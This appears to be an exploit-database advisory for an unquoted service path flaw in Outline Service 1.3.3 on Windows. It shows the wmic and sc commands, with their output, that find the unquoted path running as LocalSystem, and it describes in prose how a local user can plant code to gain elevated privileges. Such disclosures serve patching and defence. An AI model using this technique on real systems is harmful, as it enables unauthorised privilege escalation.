Outline Service 1.3.3 - 'Outline Service ' Unquoted Service Path

# Exploit Title: Outline Service 1.3.3  - 'Outline Service ' Unquoted Service Path
# Discovery by: Minh Tuan - SunCSR
# Discovery Date: 2020-05-03
# Vendor Homepage: https://getoutline.org/vi/home
# Software Link : https://raw.githubusercontent.com/Jigsaw-Code/outline-releases/master/client/stable/Outline-Client.exe
# Tested Version: 1.3.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 10.0.18363 N/A Build 18363

# Step to discover Unquoted Service Path: 

C:\Users\minht>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
OutlineService      OutlineService      C:\Program Files (x86)\Outline\OutlineService.exe

C:\Users\minht>sc qc OutlineService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: OutlineService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Outline\OutlineService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : OutlineService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.